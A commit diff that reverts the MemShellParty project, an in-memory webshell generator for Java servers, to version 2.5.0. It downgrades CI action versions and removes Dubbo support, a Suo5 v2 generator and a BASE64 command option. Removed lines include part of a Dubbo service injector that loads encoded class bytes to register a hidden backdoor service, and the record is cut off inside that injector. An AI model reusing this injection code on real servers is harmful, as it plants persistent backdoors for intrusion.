chore: 2.5.0

This reverts commit 25e4086241.

.github/workflows/dev-deploy.yaml

@@ -17,16 +17,16 @@ jobs:
         os: [ubuntu-latest, windows-latest]
     runs-on: ${{ matrix.os }}
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Setup Node
         uses: actions/setup-node@v6
@@ -62,28 +62,28 @@ jobs:
     needs: [ build-jar ]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Download Boot Jar
-        uses: actions/download-artifact@v8
+        uses: actions/download-artifact@v4
         with:
           name: boot
           path: boot/build/libs
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           registry: docker.io
           username: ${{ vars.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v4
+        uses: docker/setup-qemu-action@v3
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Build and push
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v6
         with:
           context: boot
           platforms: linux/amd64,linux/arm64
@@ -95,15 +95,15 @@ jobs:
     needs: [ build-jar ]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Publish with Gradle
         env:

.github/workflows/docker-build-test.yml

@@ -22,7 +22,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
       - name: Build Docker image
         run: |
           docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .

.github/workflows/docker-push.yml

@@ -15,21 +15,21 @@ jobs:
     name: Docker Push
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           registry: docker.io
           username: ${{ vars.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v4
+        uses: docker/setup-qemu-action@v3
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Build and push RedQueen
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v6
         with:
           context: .
           platforms: linux/amd64,linux/arm64

.github/workflows/memshell-integration-test.yml

@@ -50,20 +50,20 @@ jobs:
             depend_tasks: ""
           - middleware: "struct2"
             depend_tasks: ":vul:vul-struct2:war"
-    runs-on: ubuntu-22.04
+    runs-on: ubuntu-latest
     name: ${{ matrix.cases.middleware }}
     steps:
       - name: Checkout
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Prepare for Integration Test
         run: ./gradlew ${{ matrix.cases.depend_tasks }}

.github/workflows/probe-integration-test.yml

@@ -44,20 +44,20 @@ jobs:
             depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
           - middleware: "struct2"
             depend_tasks: ":vul:vul-struct2:war"
-    runs-on: ubuntu-22.04
+    runs-on: ubuntu-latest
     name: ${{ matrix.cases.middleware }}
     steps:
       - name: Checkout
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Prepare for Integration Test
         run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
         run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
 
       - name: Export Integration Test Summary
-        uses: mikepenz/action-junit-report@v6
+        uses: mikepenz/action-junit-report@v5
         if: success() || failure()
         with:
           report_paths: '**/build/test-results/test/TEST-*.xml'

.github/workflows/release.yaml

@@ -14,7 +14,7 @@ jobs:
       version-without-v: ${{ steps.get_version.outputs.version-without-v }}
       changelog: ${{ steps.get_changelog.outputs.changelog }}
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Get Version
         id: get_version
@@ -36,16 +36,16 @@ jobs:
     name: Build Jar
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Setup Node
         uses: actions/setup-node@v6
@@ -75,7 +75,7 @@ jobs:
     needs: [ info, build-jar ]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Download Boot Jar
         uses: actions/download-artifact@v4
@@ -84,26 +84,26 @@ jobs:
           path: boot/build/libs
 
       - name: Login to GitHub Container Registry
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           registry: ghcr.io
           username: ${{ github.repository_owner }}
           password: ${{ secrets.GITHUB_TOKEN }}
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           registry: docker.io
           username: ${{ vars.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v4
+        uses: docker/setup-qemu-action@v3
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Build and push
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v6
         with:
           context: boot
           platforms: linux/amd64,linux/arm64
@@ -115,7 +115,7 @@ jobs:
             ghcr.io/reajason/memshell-party:latest
 
       - name: Build and push RedQueen
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v6
         with:
           context: .
           platforms: linux/amd64,linux/arm64
@@ -130,15 +130,15 @@ jobs:
     name: Deploy to Maven Central
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Publish with Gradle
         env:
@@ -156,7 +156,7 @@ jobs:
     permissions:
       contents: write
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Download Boot Jar
         uses: actions/download-artifact@v4

.github/workflows/single-integration-test.yml

@@ -19,19 +19,19 @@ concurrency:
 
 jobs:
   integration-test:
-    runs-on: ubuntu-22.04
+    runs-on: ubuntu-latest
     steps:
       - name: Checkout
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Prepare for Integration Test
         if: ${{ inputs.depend_tasks != '' }}

.github/workflows/unit-test.yml

@@ -17,16 +17,16 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Generator Unit Test with Gradle
         run: ./gradlew :generator:test

Dockerfile

@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
     rm -rf vul integration-test tools
 
 # https://hub.docker.com/r/oven/bun
-FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
+FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
 
 ARG ROUTE_ROOT_PATH="/"
 ARG CONTEXT_PATH=""

build.gradle.kts

@@ -9,16 +9,10 @@ idea {
     }
 }
 
-version = "2.7.0"
+version = "2.5.0"
 
 tasks.register("publishAllToMavenCentral") {
     dependsOn(":memshell-party-common:publishToMavenCentral")
     dependsOn(":packer:publishToMavenCentral")
     dependsOn(":generator:publishToMavenCentral")
-}
-
-tasks.register("publishAllToMavenLocal") {
-    dependsOn(":memshell-party-common:publishToMavenLocal")
-    dependsOn(":packer:publishToMavenLocal")
-    dependsOn(":generator:publishToMavenLocal")
 }

generator/build.gradle.kts

@@ -37,10 +37,7 @@ dependencies {
     implementation(libs.jakarta.servlet.api)
     implementation(libs.spring.webmvc)
     implementation(libs.spring.webflux)
-    implementation(libs.tomcat.embed.core)
     implementation(libs.reactor.netty.core)
-    implementation(libs.alibaba.dubbo)
-    implementation(libs.apache.dubbo)
     implementation(libs.jackson.annotations)
     implementation(libs.bundles.jna)
 

generator/src/main/java/com/reajason/javaweb/Server.java

@@ -21,5 +21,4 @@ public class Server {
     public static final String SpringWebFlux = "SpringWebFlux";
     public static final String XXLJOB = "XXLJOB";
     public static final String Struct2 = "Struct2";
-    public static final String Dubbo = "Dubbo";
 }

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -1,11 +1,9 @@
 package com.reajason.javaweb.memshell;
 
 import com.reajason.javaweb.GenerationException;
-import com.reajason.javaweb.asm.ClassInterfaceUtils;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
 import com.reajason.javaweb.memshell.generator.InjectorGenerator;
 import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
 import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -17,7 +15,6 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
 import com.reajason.javaweb.utils.CommonUtil;
 import org.apache.commons.codec.binary.Base64;
 import org.apache.commons.lang3.StringUtils;
-import org.apache.commons.lang3.Strings;
 import org.apache.commons.lang3.tuple.Pair;
 
 import java.util.Map;
@@ -63,36 +60,20 @@ public class MemShellGenerator {
 
         byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
 
-        if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
-            String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
-            String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
-            String interfaceName = packageName + ".I" + simpleName;
-            injectorConfig.setInjectorHelperClassName(interfaceName);
-            injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
-            shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
-            String urlPattern = injectorConfig.getUrlPattern();
-            if (Strings.CS.equalsAny(urlPattern, "/*", "/")
-                    || StringUtils.isBlank(urlPattern)) {
-                injectorConfig.setUrlPattern(interfaceName);
-            }
-        }
-
-        if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
-                || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
-            String helperClassName = shellToolConfig.getShellClassName() + "$1";
-            injectorConfig.setInjectorHelperClassName(helperClassName);
-            injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
-        }
-
         injectorConfig.setInjectorClass(injectorClass);
         injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
         injectorConfig.setShellClassBytes(shellBytes);
 
+        if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
+                || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
+            injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
+        }
+
         InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
         byte[] injectorBytes = injectorGenerator.generate();
         if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
             ProbeConfig probeConfig = ProbeConfig.builder()
-                    .shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
+                    .shellClassName(injectorConfig.getInjectorClassName() + "1")
                     .probeMethod(ProbeMethod.ResponseBody)
                     .probeContent(ProbeContent.Bytecode)
                     .targetJreVersion(shellConfig.getTargetJreVersion())

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

@@ -47,7 +47,6 @@ public class ServerFactory {
         register(Server.SpringWebFlux, SpringWebFlux::new);
         register(Server.XXLJOB, XxlJob::new);
         register(Server.Struct2, Struct2::new);
-        register(Server.Dubbo, Dubbo::new);
 
         addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                 .addShellClass(SERVLET, GodzillaServlet.class)
@@ -163,8 +162,6 @@ public class ServerFactory {
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
                 .addShellClass(ACTION, CommandStruct2Action.class)
-                .addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
-                .addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
                 .build());
 
         addToolMapping(ShellTool.Suo5, ToolMapping.builder()

generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java

@@ -23,7 +23,7 @@ public class ShellToolFactory {
         register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
         register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
         register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
-        register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
+        register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
         register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
         register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
         register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

@@ -50,8 +50,4 @@ public class ShellType {
     public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
 
     public static final String ACTION = "Action";
-
-    public static final String DUBBO_SERVICE = "DubboService";
-    public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
-    public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -91,15 +91,12 @@ public class CommandConfig extends ShellToolConfig {
     }
 
     public enum Encryptor {
-        RAW, BASE64, DOUBLE_BASE64;
+        RAW, DOUBLE_BASE64;
 
         public static Encryptor fromString(String encryptor) {
             if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
                 return DOUBLE_BASE64;
             }
-            if (encryptor != null && encryptor.equals("BASE64")) {
-                return BASE64;
-            }
             return RAW;
         }
     }

generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java

@@ -27,12 +27,6 @@ public class InjectorConfig {
     @Builder.Default
     private String injectorClassName = CommonUtil.generateInjectorClassName();
 
-    /**
-     * 辅助类类名
-     */
-    private String injectorHelperClassName;
-
-
     /**
      * 注入访问的地址
      */

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -23,10 +23,6 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
 
     protected abstract DynamicType.Builder<?> getBuilder();
 
-    protected byte[] postProcessBytes(byte[] classBytes) {
-        return classBytes;
-    }
-
     @Override
     public byte[] getBytes() {
         DynamicType.Builder<?> builder = getBuilder();
@@ -46,8 +42,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
 
         try (DynamicType.Unloaded<?> unloaded = builder.make()) {
-            byte[] bytes = postProcessBytes(unloaded.getBytes());
+            return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
-            return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java

@@ -1,19 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-
-public class DubboServiceInterfaceHelperGenerator {
-    public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
-        try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
-                .redefine(ShellDubboService.class)
-                .name(interfaceName)
-                .make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java

@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
     private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
             new ListenerBuilderModifier(),
             new ValveBuilderModifier(),
+            new JakartaBuilderModifier(),
             new DebugOffBuilderModifier()
     );
 
     private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
-            new JakartaPostProcessor(),
             new JettyHandlerPostProcessor(),
             new ShrinkPostProcessor()
     );

generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5V2Generator.java

@@ -1,46 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.Suo5Config;
-import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
-import com.reajason.javaweb.utils.CommonUtil;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.codec.binary.Base64;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2025/2/12
- */
-public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
-
-    public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
-        super(shellConfig, suo5Config);
-    }
-
-    @Override
-    protected DynamicType.Builder<?> getBuilder() {
-        if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
-            return new ByteBuddy()
-                    .redefine(shellToolConfig.getShellClass())
-                    .field(named("headerName")).value(shellToolConfig.getHeaderName())
-                    .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
-        }
-        try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
-                .redefine(Suo5v2.class)
-                .name(CommonUtil.generateClassName())
-                .field(named("headerName")).value(shellToolConfig.getHeaderName())
-                .field(named("headerValue")).value(shellToolConfig.getHeaderValue())
-                .visit(TargetJreVersionVisitorWrapper.DEFAULT)
-                .make()) {
-            byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
-            return new ByteBuddy()
-                    .redefine(shellToolConfig.getShellClass())
-                    .field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java

@@ -7,6 +7,7 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
+import com.reajason.javaweb.utils.CommonUtil;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 import org.apache.commons.lang3.tuple.Pair;
@@ -18,7 +19,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
  * @since 2026/1/13
  */
 public class WebSocketByPassHelperGenerator {
-    public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+    public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
         Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
         if (headerPair == null) {
             throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
@@ -30,7 +31,7 @@ public class WebSocketByPassHelperGenerator {
                     .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
                     .field(named("headerName")).value(headerPair.getKey())
                     .field(named("headerValue")).value(headerPair.getValue())
-                    .name(helperClassName);
+                    .name(CommonUtil.generateClassName());
             if (shellConfig.isJakarta()) {
                 builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
             }

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java

@@ -1,16 +0,0 @@
-package com.reajason.javaweb.memshell.generator.command;
-
-import com.reajason.javaweb.utils.ShellCommonUtil;
-import net.bytebuddy.asm.Advice;
-
-/**
- * @author ReaJason
- * @since 2025/4/27
- */
-public class Base64ParamInterceptor {
-
-    @Advice.OnMethodExit
-    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
-        returnValue = ShellCommonUtil.base64DecodeToString(param);
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -42,17 +42,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                     .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
                     .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
         }
-        if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
-            builder = builder
-                    .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
-                            shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
-                    .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
-                    .withParameters(String.class)
-                    .throwing(Exception.class)
-                    .intercept(FixedValue.nullValue())
-                    .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
-                    .visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
-        }
         if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
             builder = builder.visit(Advice.withCustomMapping()
                     .bind(TemplateAnnotation.class, shellToolConfig.getTemplate())

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java

@@ -0,0 +1,22 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+import net.bytebuddy.dynamic.DynamicType;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
+
+    @Override
+    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+        return builder;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaPostProcessor.java

@@ -1,16 +0,0 @@
-package com.reajason.javaweb.memshell.generator.processors;
-
-import com.reajason.javaweb.asm.ClassRenameUtils;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.Processor;
-
-public class JakartaPostProcessor implements Processor<byte[]> {
-    @Override
-    public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        if (shellConfig.isJakarta()) {
-            return ClassRenameUtils.relocateJakarta(input);
-        }
-        return input;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java

@@ -17,7 +17,6 @@ import net.bytebuddy.description.modifier.Visibility;
 import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
-import net.bytebuddy.implementation.StubMethod;
 import net.bytebuddy.matcher.ElementMatchers;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -47,9 +46,12 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
                                                   TypeDescription typeDefinition, String newClassName) {
         MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
 
-        if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
+        if (methods.filter(ElementMatchers.named("getResponseFromRequest")
-            throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
+                        .and(ElementMatchers.takesArguments(Object.class))
-                    " the method body will be auto adapted for multi server");
+                        .and(ElementMatchers.returns(Object.class)))
+                .isEmpty()) {
+            throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
+                    " make sure arg and return type is Object.class");
         } else {
             builder = builder
                     .visit(MethodCallReplaceVisitorWrapper.newInstance(
@@ -57,11 +59,13 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
                     .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
         }
 
-        if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
+        if (methods.filter(named("getFieldValue")
+                        .and(takesArguments(Object.class, String.class)))
+                .isEmpty()) {
             builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
                     .withParameters(Object.class, String.class)
                     .throwing(Exception.class)
-                    .intercept(StubMethod.INSTANCE)
+                    .intercept(FixedValue.nullValue())
                     .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
         }
         return builder;

generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/AlibabaDubboServiceInjector.java

@@ -1,451 +0,0 @@
-package com.reajason.javaweb.memshell.injector.dubbo;
-
-import com.alibaba.dubbo.common.URL;
-import com.alibaba.dubbo.common.bytecode.ClassGenerator;
-import com.alibaba.dubbo.common.utils.ClassHelper;
-import com.alibaba.dubbo.config.*;
-import com.alibaba.dubbo.config.model.ApplicationModel;
-import com.alibaba.dubbo.config.model.ProviderModel;
-import javassist.ClassPool;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.security.ProtectionDomain;
-import java.util.ArrayList;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.ConcurrentHashMap;
-import java.util.zip.GZIPInputStream;
-
-public class AlibabaDubboServiceInjector {
-    private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
-    private static final String DISPLAY_HOST = "x.x.x.x";
-    private static String msg = "";
-    private static boolean ok = false;
-
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
-    public String getHelperBase64String() {
-        return "{{helperBase64String}}";
-    }
-
-    public AlibabaDubboServiceInjector() {
-        if (ok) {
-            return;
-        }
-        try {
-            msg += registerService();
-        } catch (Throwable e) {
-            msg += "unexcepted error: " + stackTrace(e);
-        }
-        ok = true;
-        System.out.println(msg);
-    }
-
-    public String registerService() throws Exception {
-        String servicePath = normalizePath(getUrlPattern());
-        if (servicePath.isEmpty()) {
-            throw new IllegalArgumentException("path must not be empty");
-        }
-
-        if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
-            return resolveServiceAddresses(servicePath);
-        }
-
-        Class<?> serviceInterface = loadClass(getHelperBase64String());
-        Class<?> serviceImpl = loadClass(getBase64String());
